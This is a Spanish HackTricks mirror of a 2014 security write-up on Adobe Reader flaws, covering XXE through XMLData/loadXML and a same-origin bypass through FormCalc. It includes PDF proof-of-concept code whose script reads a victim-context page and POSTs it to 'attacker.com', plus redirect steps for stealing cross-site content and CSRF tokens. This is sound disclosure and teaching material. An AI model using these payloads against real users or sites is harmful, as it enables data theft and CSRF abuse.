mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
138 lines
6.7 KiB
Markdown
138 lines
6.7 KiB
Markdown
|
# Carga de PDF - Bypass de XXE y CORS
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
#### Contenido copiado de [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
|
||
|
|
||
|
### La función Javascript en Reader se puede utilizar para leer datos de entidades externas (CVE-2014-8452)
|
||
|
|
||
|
Estado: Solucionado\
|
||
|
Realidad: No solucionado\
|
||
|
\
|
||
|
Este se trata de un simple XXE que descubrí.\
|
||
|
Leí el artículo "Polyglots: Crossing Origins by Crossing Formats", donde se discutió una vulnerabilidad en\
|
||
|
XMLData.parse. Era posible utilizar entidades externas y hacer referencia a ellas.\
|
||
|
Leí la especificación y resulta que hay más funciones que "parse" para leer XML.\
|
||
|
Creé un archivo xml simple, que hace referencia a una URL del mismo dominio y lo analicé con loadXML.\
|
||
|
Funcionó:
|
||
|
|
||
|
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
|
||
|
```
|
||
|
7 0 obj
|
||
|
<<
|
||
|
/Type /Action
|
||
|
/S /JavaScript
|
||
|
/JS (
|
||
|
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
|
||
|
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
|
||
|
xml = XMLData.parse(cXMLDoc,false);
|
||
|
xml.loadXML(cXMLDoc2,false,true);
|
||
|
)
|
||
|
>>
|
||
|
endobj
|
||
|
```
|
||
|
El impacto es limitado porque\
|
||
|
o) está limitado al mismo origen\
|
||
|
o) las páginas HTML rompen el XML\
|
||
|
o) las entidades dinámicas no son compatibles\
|
||
|
o) Tuve la idea de usar un XML utf-16 para evitar romper la estructura XML, pero no funcionó.\
|
||
|
\
|
||
|
Pero aún se puede usar para leer JSON.
|
||
|
|
||
|
### Bypass de política de mismo origen en Reader (CVE-2014-8453)
|
||
|
|
||
|
Estado: solucionado\
|
||
|
Realidad: ¡solucionado pero aún vulnerable al mismo origen!\
|
||
|
\
|
||
|
En mi opinión, esta es la vulnerabilidad más poderosa. Incluso sin el Bypass de Origen, te muestra\
|
||
|
lo poderoso/aterrador que puede ser un PDF.\
|
||
|
Muchas personas saben que PDF admite un lenguaje de script llamado Javascript, pero hay otro.\
|
||
|
Se menciona en la especificación de XFA, un tipo de archivo también admitido por el lector de Adobe.\
|
||
|
Se llama formcalc y no es tan poderoso. Se utiliza para cálculos matemáticos simples. Pero en la especificación de Adobe\
|
||
|
hay tres funciones adicionales: 'GET', 'POST' y 'PUT'. Sí, sus nombres hablan por sí mismos.\
|
||
|
'GET' tiene un parámetro: una URL. Utilizará el navegador (SÍ, COOKIES) para recuperar la URL y devolver el contenido de la misma.\
|
||
|
Luego podemos usar 'POST' para enviar el contenido devuelto a nuestro propio servidor:\
|
||
|
\
|
||
|
var content = GET("misamigos.php");\
|
||
|
Post("http://atacante.com", contenido);\
|
||
|
\
|
||
|
Estas funciones son del mismo origen, por lo que un sitio web debe permitirnos cargar un PDF. Eso no es tan irrealista para\
|
||
|
la mayoría de los sitios web. Atacante.com no es del mismo origen, por lo que necesitas configurar un crossdomain.xml, como es habitual en los productos de Adobe.\
|
||
|
\
|
||
|
En resumen: esto no es un error, es una característica. Tan pronto como se te permita cargar un PDF en un sitio web,\
|
||
|
puedes acceder al sitio web en el contexto del usuario que está viendo el PDF. Debido a que las solicitudes son emitidas\
|
||
|
por el navegador, las cookies también se envían. También puedes usarlo para romper cualquier protección CSRF leyendo los tokens.
|
||
|
```
|
||
|
% a PDF file using an XFA
|
||
|
% most whitespace can be removed (truncated to 570 bytes or so...)
|
||
|
% Ange Albertini BSD Licence 2012
|
||
|
|
||
|
% modified by insertscript
|
||
|
|
||
|
%PDF-1. % can be truncated to %PDF-\0
|
||
|
|
||
|
1 0 obj <<>>
|
||
|
stream
|
||
|
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
|
||
|
<config><present><pdf>
|
||
|
<interactive>1</interactive>
|
||
|
</pdf></present></config>
|
||
|
<template>
|
||
|
<subform name="_">
|
||
|
<pageSet/>
|
||
|
<field id="Hello World!">
|
||
|
<event activity="initialize">
|
||
|
<script contentType='application/x-formcalc'>
|
||
|
var content = GET("myfriends.php");
|
||
|
Post("http://attacker.com",content);
|
||
|
</script>
|
||
|
</event>
|
||
|
</field>
|
||
|
</subform>
|
||
|
</template>
|
||
|
</xdp:xdp>
|
||
|
endstream
|
||
|
endobj
|
||
|
|
||
|
trailer <<
|
||
|
/Root <<
|
||
|
/AcroForm <<
|
||
|
/Fields [<<
|
||
|
/T (0)
|
||
|
/Kids [<<
|
||
|
/Subtype /Widget
|
||
|
/Rect []
|
||
|
/T ()
|
||
|
/FT /Btn
|
||
|
>>]
|
||
|
>>]
|
||
|
/XFA 1 0 R
|
||
|
>>
|
||
|
/Pages <<>>
|
||
|
>>
|
||
|
>>
|
||
|
```
|
||
|
Después de encontrar estas funciones, encontré un bypass de política de misma origen. Esto hace posible utilizar el navegador de la víctima como proxy (@beef todavía está trabajando en el módulo^^).
|
||
|
|
||
|
El bypass es realmente simple:
|
||
|
|
||
|
1. El usuario A carga evil.pdf desde http://attacker.com/evil.pdf
|
||
|
2. Evil.pdf utiliza formcalc GET para leer http://attacker.com/redirect.php
|
||
|
3. redirect.php redirige con 301 a http://facebook.com
|
||
|
4. Adobe reader seguirá y leerá la respuesta sin buscar un crossdomain.xml.
|
||
|
5. evil.pdf envía el contenido recuperado vía POST a http://attacker.com/log.php
|
||
|
|
||
|
Tenga en cuenta que utilizando esta técnica se pueden robar los tokens CRSF de una página y abusar de las vulnerabilidades CSRF.
|
||
|
|
||
|
Este simple bypass está arreglado ahora. Espero que implementen una advertencia de diálogo para solicitudes de misma origen también.
|